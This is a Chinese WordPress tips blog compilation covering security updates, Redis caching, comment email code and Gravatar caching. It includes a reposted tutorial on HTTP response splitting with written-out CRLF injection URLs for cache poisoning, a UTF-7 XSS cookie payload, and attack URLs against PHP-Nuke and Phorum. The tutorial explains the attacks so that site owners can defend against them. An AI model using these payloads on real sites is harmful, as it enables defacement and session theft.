WordPress 4.5.2安全维护版本发布,并解释ImageTragick问题

WordPress核心开发团队刚刚发布了WordPress 4.5.2版本,修复了WordPress 4.5.1及更早版本中存在的两处安全漏洞。

第一个安全隐患是,在WordPress用于上传文件的第三方库Plupload中,发现存在SOME(Same-Origin Method Execution,同源方法执行)漏洞。

第二个安全隐患是,在WordPress的媒体库中使用的第三方库MediaElement.js中,其生成的网址存在被致反射型跨域攻击(reflected XSS)的可能。

以上两个安全隐患由来自Cure53团队的Mario Heiderich,Masato Kinugawa,和Filedescriptor发现并报告。经过Plupload团队和MediaElement.js团队与WordPress核心团队共同努力,已经修复了这两个问题。

WordPress默认开启小版本自动更新功能,没有关闭该功能的网站将会自动更新到此最新版本。你也可以通过WordPress管理后台的更新按钮一键升级到最新版本。你也可以通过这里点击下载WordPress 4.5.2最新版

此外,WordPress中使用的处理图片的ImageMagic库,最近被大范围报道存在安全漏洞;这一问题并命名为ImageTragick,这里是关于ImageTragick的专题网站WordPress核心团队撰文对此问题做了详细解释

由于此漏洞存在于PHP的Imagick扩展中,而不是WordPress自身的问题,WordPress团队无法通过更新解决这一漏洞。因此,请你及时联系你的主机空间服务商进行解决。ImageMagick团队已经于5月3日发布更新解决这一问题。

我们WordPress中文网提供的WordPress专业主机,已经于前天(5月5日)及时进行了升级,修复了此完全漏洞,所有用户均不必担心。使用其他主机空间、服务器的WordPress用户,请联系你的服务商确认是否已经修复此ImageTragick漏洞。

 

 

被墙的厉害,转载一下给大家吧,网上现在消息也不多,有网友给出暂时解决方案,看起来意思是用GD库。

在/wp-includes/media.php的_wp_image_editor_choose函数内部找到:

$implementations = apply_filters( 'wp_image_editors', array( 'WP_Image_Editor_Imagick' ,  'WP_Image_Editor_GD' ) );

修改为下面这行:(即调换最后数组的顺序)

$implementations = apply_filters( 'wp_image_editors', array(  'WP_Image_Editor_GD' ,'WP_Image_Editor_Imagick' ) );

让WordPress使用Redis缓存来进行加速

Redis是一个高级的key-value存储系统,类似memcached,所有内容都存在内存中,因此每秒钟可以超过10万次GET操作。

我下面提出的解决方案是在Redis中缓存所有输出的HTML 内容而无需再让WordPress重复执行页面脚本。这里使用Redis代替Varnish设置简单,而且可能更快。

安装 Redis

如果你使用的是 Debian 或者衍生的操作系统可使用如下命令安装 Redis:

apt-get install redis-server

或者阅读 安装指南

使用 Predis 作为 Redis 的 PHP 客户端

你需要一个客户端开发包以便 PHP 可以连接到 Redis 服务上。

这里我们推荐 Predis. 上传 predis.php 到 WordPress 的根目录。

前端缓存的PHP脚本

步骤1:在WordPress 的根目录创建新文件 index-with-redis.php ,内容如下:

<?php

// Change these two variables:

$seconds_of_caching = 60*60*24*7; // 7 days.

$ip_of_this_website = ‘204.62.14.112’;

/*

– This file is written by Jim Westergren, copyright all rights reserved.
– See more here: www.jimwestergren.com/wordpress-with-redis-as-a-frontend-cache/
– The code is free for everyone to use how they want but please mention my name and link to my article when writing about this.
– Change $ip_of_this_website to the IP of your website above.
– Add ?refresh=yes to the end of a URL to refresh it’s cache
– You can also enter the redis client via the command prompt with the command “redis-cli” and then remove all cache with the command “flushdb”.

*/

// Very necessary if you use Cloudfare:

if (isset($_SERVER[‘HTTP_CF_CONNECTING_IP’])) {
$_SERVER[‘REMOTE_ADDR’] = $_SERVER[‘HTTP_CF_CONNECTING_IP’];
}

// This is from WordPress:

define(‘WP_USE_THEMES’, true);

// Start the timer:

function getmicrotime($t) {
list($usec, $sec) = explode(” “,$t);
return ((float)$usec + (float)$sec);
}

$start = microtime();

// Initiate redis and the PHP client for redis:

include(“predis.php”);
$redis = new Predis\Client(”);

// few variables:

$current_page_url = “http://”.$_SERVER[‘HTTP_HOST’].$_SERVER[‘REQUEST_URI’];

$current_page_url = str_replace(‘?refresh=yes’, ”, $current_page_url);

$redis_key = md5($current_page_url);

// This first case is either manual refresh cache by adding ?refresh=yes after the URL or somebody posting a comment

if (isset($_GET[‘refresh’]) || substr($_SERVER[‘REQUEST_URI’], -12) == ‘?refresh=yes’ || ($_SERVER[‘HTTP_REFERER’] == $current_page_url && $_SERVER[‘REQUEST_URI’] != ‘/’ && $_SERVER[‘REMOTE_ADDR’] != $ip_of_this_website)) {
require(‘./wp-blog-header.php’);
$redis->del($redis_key);

// Second case: cache exist in redis, let’s display it

} else if ($redis->exists($redis_key)) {

$html_of_current_page = $redis->get($redis_key);

echo $html_of_current_page;

echo “<!– This is cache –>”;

// third: a normal visitor without cache. And do not cache a preview page from the wp-admin:

} else if ($_SERVER[‘REMOTE_ADDR’] != $ip_of_this_website && strstr($current_page_url, ‘preview=true’) == false) {
require(‘./wp-blog-header.php’);
$html_of_current_page = file_get_contents($current_page_url);
$redis->setex($redis_key, $seconds_of_caching, $html_of_current_page);
echo “<!– Cache has been set –>”;

// last case: the normal WordPress. Should only be called with file_get_contents:

} else {
require(‘./wp-blog-header.php’);
}

// Let’s display some page generation time (note: CloudFlare may strip out comments):

$end = microtime();
$t2 = (getmicrotime($end) – getmicrotime($start));
if ($_SERVER[‘REMOTE_ADDR’] != $ip_of_this_website) {
echo “<!– Cache system by Jim Westergren. Page generated in “.round($t2,5).” seconds. –>”;
}
?>

或者直接下载 index-with-redis.php

步骤2:将上述代码中的 IP 地址替换成你网站的 IP 地址

步骤3:在.htaccess 中将所有出现 index.php 的地方改为 index-with-redis.php ,如果你使用的是 Nginx 则修改 nginx.conf 中的 index.php 为 index-with-redis.php(并重载 Nginx : killall -s HUP nginx)。

性能测试

1.没有Redis 的情况下,平均首页执行1.614 秒,文章页0.174 秒(无任何缓存插件)

2.使用Redis 的情况下,平均页面执行时间0.00256秒

我已经在我的博客中使用了如上的方法进行加速很长时间了,一切运行良好。

其他建议

我的环境是Nginx + PHP-FPM + APC + Cloudflare + Redis. 安装在一个 nano VPS 中,无缓存插件。

请确认使用了gzip压缩,可加快访问速度。

访问 wp-admin

要访问 wp-admin 必须使用 /wp-admin/index.php 代替原来的 /wp-admin/.

原文:jimwestergren 编译:oschina

最近博客变慢的原因

我哩个擦,太郁闷了,不经意间发现博客的query到了1500-1600,这是什么概念,一个页面就要这么多的查询,随便一个cc估计就挂完了吧。怪不得有童鞋说我的博客速度太慢了,然后最近的当机提示邮件也比较多。打开一个页面要7-8秒。首先,先停掉了插件,不管用!又换了主题,还是依旧。可以判断wordpress没有问题。打开探针发现服务器才上线27天,肯定是中间挂了。最后只能看看是不是面板问题。最后找到原因,发现Memcached没有开。罪魁祸首啊,vps重启后,Memcached没有随机启动,导致博客变慢。不深究了,直接开启,速度恢复。开了之后一个页面只需零点几秒了,减少到60左右的query,汗!

redirect_comment_link函数中的HTTP响应拆分漏洞

没事儿用360检查了一下自己的网站,居然发现有很大的漏洞,汗啊。对于这方面不太懂,查了一下,据说“HTTP响应拆分漏洞”还挺严重的。查找了一下资料修补了一下这个漏洞。

漏洞主要是在redirect_comment_link这个函数中,想来很多朋友在function中加入了这个函数来使链接跳转。不知道这个漏洞是否真的能起到作用,不过还是按照网上说的,把它修复吧。

在此特别提醒wordpress中添加了这个函数的童鞋,赶紧加上过滤吧。还有用d4主题(改动的文件在inc\function-opt.php)的朋友哦,也要注意咯,虽然不懂这个漏洞怎么用,但是防患于未然。

解决方法如下:

在function.php中查找

$redirect = $_GET['r'];

在下面加上

$redirect = trim(str_replace("\r","",str_replace("\r\n","",strip_tags(str_replace("'","",str_replace("\n", "", str_replace(" ","",str_replace("\t","",trim($redirect))))),""))));

这一句。

还可以参考如下资料:

转载(一)

http://www.huangkeye.com/?page=传递的参数。
于是,我赶紧查看了一下这个插件。在它的一个页面里面我看到了两行代码:

$post = $_GET['p'];、$download = $_GET['download'];。

对参数$post和$download运用PHP语法中的正则表达式ereg_replace或者字符串处理函数str_replace进行操作。代码如下:

$post = trim($post); 
$post = strip_tags($post,""); //清除HTML如
等代码 $post = ereg_replace("\t","",$post); //去掉制表符号 $post = ereg_replace("\r\n","",$post); //去掉回车换行符号 $post = ereg_replace("\r","",$post); //去掉回车 $post = ereg_replace("\n","",$post); //去掉换行 $post = ereg_replace(" ","",$post); //去掉空格 $post = ereg_replace("'","",$post); //去掉单引号

或者

$post = trim($post); 
$post = strip_tags($post,""); //清除HTML如
等代码 $post = str_replace("\n", "", str_replace(" ", "", $post));//去掉空格和换行 $post = str_replace("\t","",$post); //去掉制表符号 $post = str_replace("\r\n","",$post); //去掉回车换行符号 $post = str_replace("\r","",$post); //去掉回车 $post = str_replace("'","",$post); //去掉单引号 $post = trim($post);

转自http://www.huangkeye.com/archives/20.html

转载(二)

一:前言
“HTTP响应头拆分漏洞”是一种新型的web攻击方案,它重新产生了很多安全漏洞包括:web缓存感染、用户信息涂改、窃取敏感用户页面、跨站脚本漏洞。这项攻击方案,包括其衍生的一系列技术产生,是由于web应用程序没有对用户的提交进行严格过滤,导致非法用户可以提交一些恶意字符,更具体来说,是对用户输入的CR 和LF字符没有进行严格的过滤。
“HTTP响应头拆分漏洞”及其相关的攻击手段可以在很多的web环境中实现,包括微软的asp、asp.net,IBM WebSphere,BEA WebLogic,Jakarta Tomcat,Macromedia oldFusion/MX,Sun Microsystems SunONE;流行的Squid和Apache服务器;流行的微软IE6.0浏览器。我不是在吹牛,很多大的站点都存在这样的漏洞,这让我大吃一惊。
这篇文章将描述攻击的概念并且提供一些使用实例分析。
二:介绍
在HTTP响应头拆分攻击中具体牵涉到三个对象:
漏洞服务器:即存在漏洞的服务器。
攻击工具:比如浏览器,类似IE6.0。
攻击者:发动攻击的人。
HTTP响应头拆分攻击本质是:攻击者可以发送一个或几个HTTP指令迫使漏洞服务器产生一个攻击者构想好的输出。它可以让服务器误把几条HTTP请求看成一次完成的HTTP请求来解释。第一条请求也许攻击者部分控制着一部分,但这并不是危险的;危险的是,攻击者完全控制着第二条HTTP请求,即从HTTP状态行一直到HTTP请求的尾部。如果这样可行,攻击者就会发送多个请求指令到目标系统:第一条使得服务器完全接受两个HTTP响应,第二条响应通常是在服务器上请求一些非法资源,而服务器将会自动匹配到第二条响应,输出攻击者想要请求的资源,从而达到攻击者的目的。
通过这个思路,我们可以构造出形形色色的攻击,具体来说:
1 跨站脚本攻击(XSS):这是一个非常普通和老式的漏洞,它可以让用户通过运行了一段javascript或者html代码后,可以截取该用户的cookie和session。但是到现在,通过一些重定向脚本发起一次XSS攻击是很困难的,尤其是当用户使用最新补丁的IE浏览器的时候,除非位置头是完全控制的。但是当结合HTTP响应头攻击确是可以非常简单实现,即使只是部分控制位置头。
2 web缓存中毒(我们称之为web损耗):这是一个新的攻击技术,攻击者强迫服务器高速缓存中记录了第二次HTTP请求,而服务器中的高速缓存记录的第二次请求是经过攻击者精心构造的。这将成功的对目标站点进行损耗,当其他人访问目标站点时,他们仅仅读取了高速缓存里的数据,造成站点被“黑”的假象。当然,除了站点损耗之外,攻击者也可以偷取用户的session和cookie。
3 通过对用户的攻击:这是第二种方式的一个特殊情况。它对单个用户的欺骗、对服务器单个页面的损耗,和暂时的磨损,也可以偷取到特定用户的session和cookie。
4 劫持具体用户的页面敏感信息:攻击者欺骗服务器,并取得敏感用户的权限,并进入其用户的状态,访问到一些秘密信息。
5 浏览器高速缓存中毒:这也是一项最新的攻击方式,它这和跨站脚本攻击方式有点类似,唯一的差别就是攻击者强迫浏览器高速缓存中记录一个长和持续的磨损的网页,直到浏览器的高速缓存已经清洁。
对于这些我将在后面一一作介绍。
三:web高速缓存中毒的实现
由于这是一个新兴的技术,所以这个段落我将对web高速缓存中毒的实现做进一步的分析。
1 毒害反向代理高速缓存:即电子涂写。在这种方式中,攻击者将直接面向网站。当然最厉害的手法是磨损该网站的首页,这样所有客户端将都受到影响,这也是最漂亮的手段,但是这样很容易被发现。
2 毒害一台中间高速缓存服务器:迂回。这种方式被发现是很困难的,中间缓存服务器是有很多的,而且漏洞服务器不可能占有所有的中间缓存服务器,这些服务器很有可能不是在同一个地方,比如我们攻击台湾的站点,我们很有可能会先攻击一台位于美国的中间缓存服务器,即使被调查到了也是要很久的,也许我们早就有时间把所有的信息给清除。
3 毒害浏览器高速缓存:一针见血。攻击者很有可能会瞄准到一个特殊用户,例如从一个很富有的用户那里偷取到证书,这样的攻击将会变得很独特而且很难实施。因为,它不同于跨站脚本攻击,而且被毒害的页面要始终保持在高速缓存中以等待受害者(即你所瞄准的用户)来装载,有时候受害者从来都不会登陆到那个页面,或者是受害者浏览器禁止了JAVA脚本的执行等等,都会造成无法成功。
四:HTTP响应头漏洞攻击基本技术。
HTTP响应头攻击把代码嵌入到用户信息中并放在HTTP头部,也发生在把用户信息和代码嵌入到重定向到的URL中,或者把脚本嵌入到cookie值或者name里。在第一条响应中,重定向的URL是HTTP响应头的一部分,第二条响应是确定cookie,cookie中的name/value是响应头中set-cookie的一部分。
由于攻击的特殊性,在实现攻击前,我们先来了解一下这两个字符的编码:

CR = %0d = /r
LF = %0a = /n
比如,我们考虑以下jsp页面(/isno.jsp),内容如下:
<%
response.sendRedirect("/isno.jsp?lang="+request.getParameter("lang"));
%>

假如使得parmeter lang=ivory,程序将会重定向到/isno.jsp?lang=ivory。通常一个标准的HTTP请求会如下:

HTTP/1.1 302 Moved Temporarily/r/n
Date: Wed, 1 Mar 2005 12:53:28 GMT/r/n
Location: http://192.168.0.1/isno.jsp?lang=ivory/r/n
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003 271009 with/r/n
Content-Type: text/html/r/n
Set-Cookie: JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape7h4YoHZ62RXjApqwBE!-
1251019693; path=//r/n
Connection: Close/r/n
302 Moved Temporarily/r/n
/r/n

This document you requested has moved temporarily.

/r/n

It's now at http://192.168.0.1/isno.jsp?lang=ivory.

/r/n/r/n/r/n

这样我们能清楚的看出lang所赋的值被嵌入在Location响应头中。
好,我们来实行HTTP响应头攻击,再将lang赋值,这次并不是ivory,而是给另外一个东西。

/isno.jsp?lang=Allyesno%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2024%0d%0a%0d%0aI’m%20isno!
这样的话,HTTP将会如下发送:
HTTP/1.1 302 Moved Temporarily/r/n
Date: Wed, 1 Mar 2005 15:26:41 GMT/r/n
Location: http://192.168.0.1/isno.jsp?lang=Allyesno/r/n
Content-Length: 0/r/n
HTTP/1.1 200 OK/r/n
Content-Type: text/html/r/n
Content-Length: 24/r/n
I’m%20isno!/r/n
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003 271009 with/r/n
Content-Type: text/html/r/n
Set-Cookie: JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7IyrCST9UsS!-
1251019693; path=//r/n
Connection: Close/r/n
302 Moved Temporarily/r/n
/r/n

This document you requested has moved temporarily.

/r/n

It's now at http://192.168.0.1/isno.jsp?lang=Allyesno/r/n Content-Length: 0/r/n HTTP/1.1 200 OK/r/n Content-Type: text/html/r/n Content-Length: 24/r/n <html>I’m%20isno!</html>.

/r/n /r/n

不同的地方我用颜色标识出来了,但是这里我还是作一些解释:
这里提交了两个请求,第一个指向的URL是

/isno.jsp?lang=Allyesno%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2024%0d%0a%0d%0aI’m%20isno!

第二个指向的URL是
/index.html
这样服务器会给第一个请求匹配到第一个响应:

HTTP/1.1 302 Moved Temporarily/r/n
Date: Wed, 1 Mar 2005 15:26:41 GMT/r/n
Location: http://192.168.0.1/isno.jsp?lang=Allyesno/r/n
Content-Length: 0/r/n

对第二个请求(/index.html)自动匹配到第二个响应:

HTTP/1.1 200 OK/r/n
Content-Type: text/html/r/n
Content-Length: 24/r/n
<html>I’m%20isno!</html>.

/r/n /r/n

这样,攻击者就成功的愚弄了服务器。我们可以看出,上面这个例子非常的简单而且无知,但是是最简单的利用方法,当然实际的情况会更复杂,更会出现一些问题,我们将在下面的部分讨论实战中要考虑到的因素。
五:从实际出发—把绊脚石踢开
1 错误处理机制。
“错误处理”曾是iis漏洞的一个漏洞点,在iis5.0中,它允许客户端定制一个脚本来处理HTTP错误信息,而不是给出真正的错误页面。举例来说,当用户请求一个资源,而该资源不存在的时候,会出现“资源无法访问(你所找的页面不存在)”(HTTP状态404),而同时IIS5.0允许产生一个脚本代码响应给用户,这个代码可以是静态的HTML,也可以是动态的ASP等等。因此,这里就会产生一个HTTP响应头拆分漏洞,但是只是针对iis5.0。
2 字符过滤器的饶过。
另一个要面对的问题就是,一些应用程序会过滤掉一些用户输入的非法字符。特别是对一些非ASCII字符作严格的过滤。例如ASP.NET 1.0/1.1会尝试对数据进行UTF-8编码,如果在UTF-8中不符合的数据将会自动丢失;ASP.NET 1.1不允许有’<’字符出现在一些数据的后面。 而我们在构造header头的时候,基本上都不会出现被过滤的情况。关键就是对body请求的构造,因为这个地方会出现一些让字符过滤器过滤的字符。 饶过的方法当然就是对body处进行UTF-7进行编码(RFC 2152 - [1]),这种编码方法可以对任意的unicode字符编码到“A-Z”,“a-z”,“0-9”,“/”,“-”,“+”中,这样可以让过滤器对我们提交的数据无法过滤。具体实现的方法如下: I 修改第一处:

Content-Type: text/html;charset=utf-7

II 修改第二处:


编码后成为:

+ADw-html+AD4-+ADw-body+AD4-+ADw-script+AD4-alert('get,cookies:'+-document.cookie)+ADw-/script+AD4-+ADw-/body+AD4-+ADw-/html+AD4-

3 使请求的URL长度尽量缩小。
六.对高速缓存中毒的分析,跨站脚本在IE中的利用
要使高速缓存中毒,我们必须要提交Last-Modified的HTTP响应头,并指明一个将来的日期。我用实例来说明一下对高速缓存中毒的攻击:

./isno.jsp?lang=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified:%20Wed,%2013%20Jan%202006%2012:44:23%20GMT%0d%0aContent-Length:%2046%0d%0aContent-Type:%20text/html%0d%0a%0d%0aI’m%20Isno! HTTP/1.1

另外一个更实际的例子,对APACHE/2.0的攻击(APACHE很容易实现HTTP响应头拆分攻击,作为范例最好不过了):
这次攻击将发送三条请求,第一条用来迫使服务器对资源的高速缓存无效,第二条请求将利用HTTP响应头攻击,使得Apache自动连接第三条响应和第二条响应。
攻击具体如下:
第一次请求:

GET http://192.168.0.1/index.html HTTP/1.1(由于apache不对”/”进行缓存)
Pragma: no-cache
Host: 192.168.0.1
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

第二次请求:

GET http://192.168.0.1/isno.jsp?lang=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified:%20Mon,%2027%20Oct%202003%2014:50:18%20GMT%0d%0aContent-Length:%2046%0d%0aContent-Type:%20text/html%0d%0a%0d%0aI’m%20isno!
HTTP/1.1
Host: 192.168.0.1/r/n
User-Agent: Mozilla/4.7 [en] (WinNT; I)/r/n
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*/r/n
Accept-Encoding: gzip/r/n
Accept-Language: en/r/n
Accept-Charset: iso-8859-1,*,utf-8/r/n

第三次请求:

GET http://192.168.0.1/index.html HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

另外注意的地方:比如IE EXPLORER 6.0(SP1),由于一些机制的影响,我们不能直接的象上面那样输入,要稍微想点办法,由于其缓冲区边界为1024个字节,所以它读取第一条请求使用了1024个字节,所以第二个请求必须要从1024个字节开始为边界,所以我们提交的会是下面这样的:

http://192.168.0.1/isno.jsp?lang=%0d%0aConnection:%20Keep-Alive%0d%0a%0d%0aAAAAAAAA
… [填充1024个A]… AAAAAAAAAAAAAAHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Sun,%2023%20Nov%202003%2014:05:11%20GMT%0d%0aContent-Length:%2028%0d%0a%0d%0aHacked-by-isno!

同样的思路,对于跨站脚本攻击的提交会是这样的:

http://192.168.0.1/isno.jsp?lang=%0d%0aConnection:%20Keep-Alive%0d%0a%0d%0aAAAAAAAA
… [填充1024个A] … AAAAAAAAAAAAAHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2052%0d%0a%0d%0a

这里一定要谨慎。
七.通过对用户的攻击—理论分析
Squid 2.4和ISA/2000允许用户分享与服务器的连接,这样的话,很有可能存在一个HTTP响应头拆分漏洞的隐患,可以提交两次对服务器的请求,如果这两次请求存在一个延迟,这时攻击者要断开和服务器的连接,而受害的用户再给出一个对服务器的请求的时候,这样就产生了一个攻击。我们可以看出,这样的攻击,要求对与服务器断开连接的时间上做很好的控制,特别是当两次请求包的延迟比10毫秒还低的时候(在Squid 2.4上证明了这一点)。对于ISA/2000来说,攻击方式稍微要简单些,因为两个用户可能分享相同的TCP连接,所以并不需要攻击者断开与服务器的连接。
八.劫持用户页敏感信息
这个有点类似于我们所说的中间人攻击。这时候攻击者充当着两个角色:对用户来说他充当了服务器的角色,对服务器来说他充当了用户的角色,然后象一个审查员一样的工作,这样不仅可以劫持到用户的敏感信息,而且同样可以进行篡改和添加。
九. 实际的安全漏洞两则
以下我会举出一些更具体的例子来加深一下印象。
1 PHP-NUKE 7.6及更低版本HTTP响应拆分漏洞
起因是应用程序没有正确的过滤用户提供的输入。远程攻击者可以利用这个漏洞影响或错误的显示Web内容服务,缓存或解释的方式,这可能帮助诱骗客户端用户,导致跨站脚本,缓存破坏或页面劫持等漏洞。
攻击手法如下

http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3EHELLO I AM VULNERABLE TO HTTP RESPONSE /
SPLITTING%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5
http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3EThis is a spoofed site   /

2 Phorum HTTP响应拆分漏洞
由于没能正确的验证传送给Location参数的输入,攻击者可能向HTTP首部中注入恶意的字符。这可能导致在受影响站点的用户浏览器会话中执行任意HTML和脚本代码,进而展开各种攻击,如跨站脚本、破坏Web或浏览器缓存、劫持页面等。
攻击手法如下:

http://[server]/phorum5/search.php?forum_id=0&search=1&body=%0d%0aContent-Length:%200% /
0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%203 /
4%0d%0a%0d%0aScanned by /
PTsecurity%0d%0a&author=1&subject=1&match_forum=ALL&match_type=ALL&match_dates= /
30

十. 后记
感谢我的一些朋友。此篇文章献给我的妈妈!

转自http://blog.csdn.net/allyesno/article/details/406704

本文参考http://www.yiduqiang.com/crlf-http.html

wordpress评论邮件回复博客名带特殊符号修正

如果你的博客名称有特殊符号,就像我一样,有一个撇,那么就在回信的时候必须修正一下,不然会被转义,其实代码可以写的更好。
方法主要是添加htmlspecialchars()函数来防止转义,如果你看到回信中有转义的部分,可以给那一句直接加一个htmlspecialchars来处理。

比如我的会在标题出现错误,改动如下。

$subject = ‘您在 [' . get_option("blogname") . '] 的留言有了回复’;

改成

$subject = '您在['.html_entity_decode(get_option("blogname"), ENT_QUOTES).']的留言有了回复';

如果觉得麻烦,可以直接贴下面的评论邮件通知代码。

//评论回应邮件通知
function comment_mail_notify($comment_id) {
  $admin_notify = '1'; // admin 要不要收回复通知 ( '1'=要 ; '0'=不要 )
  $admin_email = get_bloginfo ('admin_email'); // $admin_email 可改为你指定的 e-mail.
  $comment = get_comment($comment_id);
  $comment_author_email = trim($comment->comment_author_email);
  $parent_id = $comment->comment_parent ? $comment->comment_parent : '';
  global $wpdb;
  if ($wpdb->query("Describe {$wpdb->comments} comment_mail_notify") == '')
    $wpdb->query("ALTER TABLE {$wpdb->comments} ADD COLUMN comment_mail_notify TINYINT NOT NULL DEFAULT 0;");
  if (($comment_author_email != $admin_email && isset($_POST['comment_mail_notify'])) || ($comment_author_email == $admin_email && $admin_notify == '1'))
    $wpdb->query("UPDATE {$wpdb->comments} SET comment_mail_notify='1' WHERE comment_ID='$comment_id'");
  $notify = $parent_id ? get_comment($parent_id)->comment_mail_notify : '0';
  $spam_confirmed = $comment->comment_approved;
  if ($parent_id != '' && $spam_confirmed != 'spam' && $notify == '1') {
    $wp_email = 'no-reply@' . preg_replace('#^www\.#', '', strtolower($_SERVER['SERVER_NAME'])); // e-mail 发出点, no-reply 可改为可用的 e-mail.
    $to = trim(get_comment($parent_id)->comment_author_email);
    $subject = '您在['.html_entity_decode(get_option("blogname"), ENT_QUOTES).']的留言有了回复';
    $message = '
    

' . trim(get_comment($parent_id)->comment_author) . ', 您好!

您曾在《' . get_the_title($comment->comment_post_ID) . '》的留言:
' . trim(get_comment($parent_id)->comment_content) . '

' . trim($comment->comment_author) . ' 给您的回应:
' . trim($comment->comment_content) . '

您可以点击 查看回应完整內容

欢迎您再度光临 ' . get_option('blogname') . '

(此邮件由系统自动发出,请勿回复.)

'; $from = "From: \"" . get_option('blogname') . "\" <$wp_email>"; $headers = "$from\nContent-Type: text/html; charset=" . get_option('blog_charset') . "\n"; wp_mail( $to, $subject, $message, $headers ); //echo 'mail to ', $to, '
' , $subject, $message; // for testing } }

给wordpress评论头像添加alt属性

一般评论是调用wp_list_comments()这个函数的,而它在调用get_avatar()列出评论者头像的时,并没有传递头像的alt属性参数。

开启方法如下

找到wp-include/comment-template.php文件打开,查找get_avatar,找到下面这行代码:


将其就改为:

comment_author" ); ?>

注意:修改的是wp核心文件,升级后会覆盖,需要重新再改。只适合于评论通过wp_list_comments()来显示的主题。

为wordpress添加谷歌百度ping

ping的作用是通知谷歌和百度有新的文章,马上来收录,比蜘蛛爬行要来的快。

默认的wordpress是没有ping百度和ping谷歌的,添加方法是

wp后台-设置-撰写-更新服务,添加如下两行:

http://ping.baidu.com/ping/RPC2

http://blogsearch.google.com/ping/RPC2

异步执行的Gravatar缓存

这篇文章挺不错的,纯技术学习,转载一下哈。

不少人用的是 Willin Kan 的缓存 Gravatar 头像之方法,我昨天在本地调试主题的时候加上了这段代码,但发现了一个比较严重的问题:评论列表要等很长的时间才能显示,甚至直接 30 秒超时。原因是原代码中这样一句(第 13 行):

copy($g, $e);

copy 函数起到了把 Gravatar 头像复制到本地的作用,此时 PHP 解释器只能等待复制完成才能继续运行,反而成为拖慢速度的隐患。

本文适用于以下情况:

使用国内服务器但想缓存 Gravatar 头像;
Gravatar 服务器出现问题时。
国外服务器由于访问 Gravatar 服务器很快,因此不会有明显的延迟感,但当以上情况时延迟就非常明显了。

该怎么解决这个问题呢?某个 Gravatar 头像第一次被显示时,实际上仍然是调用 Gravatar 服务器的资源,与此同时博客的服务器再从 Gravatar 服务器将头像下载下来。博客服务器下载头像的过程对用户访问是没有任何意义的,应该将 copy 过程放在另一个线程执行,评论列表输出不受影响,问题就解决了。

PHP 本身是不支持多线程的,我们可以将下载头像的代码写在一个单独的 PHP 文件中,然后由处理评论列表的函数发起一个到此文件的请求,并立即关闭连接,继续向下执行。被请求的文件进行下载工作就相当于异步执行了。

下面给出具体实行方法。

一、建立异步执行的 PHP 文件

在 WordPress 根目录或者其它文件夹新建 gravatar.php(也可以改成您喜欢的名字),内容如下:

if ( $_SERVER['REQUEST_METHOD'] != 'POST' ) {
    header( 'Allow: POST' );
    header( 'HTTP/1.1 405 Method Not Allowed' );
    header( 'Content-Type: text/plain' );
    exit;
}
$key = '123456'; // $key 为防止恶意提交的验证码
if ( !isset( $_POST['hash'], $_POST['s'], $_POST['key'] ) || $_POST['key'] != $key ) {
    header( 'HTTP/1.1 400 Bad Request' );
    header( 'Content-Type: text/plain' );
    exit;
}
$hash = $_POST['hash'];
if ( !ctype_alnum( $hash ) || strlen( $hash ) != 32 )
    return;
$s = strtoupper($_POST['s']);
if ( !ctype_digit( $s ) ) return;
$r = isset( $_POST['r'] ) ? $_POST['r'] : '';
$rating = array( '', 'G', 'PG', 'R', 'X' );
if ( !in_array( $r, $rating ) )
    return;
if ( defined( 'ABSPATH' ) )
    require_once( ABSPATH . 'wp-load.php' );
else
    require_once( './wp-load.php' ); // 要用相对路径指向 WordPress 根目录,如果放在主题目录下,则改为 ../../../wp-load.php
$d = get_bloginfo( 'wpurl' ) . '/wp-content/avatar/default.png'; // 缺省头像的位置
$gravatarpath = "http://www.gravatar.com/avatar/";
$gravatarpath .= $hash;
$gravatarpath .= '?s=' . $s;
$gravatarpath .= '&d=' . urlencode( $d );
if ( !empty( $r ) )
    $gravatarpath .= '&r=' . $r;
$cachepath = ABSPATH . 'wp-content/avatar/' . $hash; // 缓存头像保存的位置
copy( $gravatarpath, $cachepath );
if ( filesize( $cachepath ) < 500) copy( $d, $cachepath );

几点说明:

第 8 行中 $key 为防止恶意提交的验证码,请改成不容易破解的字符组合,也不要告诉他人;
如果文件不是放在根目录,需要修改第 24 行的相对路径,距离根目录多少层就打入多少 ../,主题目录为 /wp-content/themes/theme,共有 3 层则为 ../../../wp-load.php;
没有为缓存的头像指定扩展名,因为头像可能有多种格式。实际上也不需要扩展名。

二、建立 Gravatar 头像存放的文件夹

根据刚才设定的缓存头像保存位置新建文件夹,例如代码中将 Gravatar 头像存放在 wp-content/avatar 文件夹下,因为我认为 wp-content 文件夹是用来存放用户生成内容的。

请将此文件夹的权限(chmod)设定为 755。

将无 Gravatar 头像时显示的缺省头像放在新建的文件夹中,文件名要与上面代码中「缺省头像位置」一行一致。

三、写入 functions.php

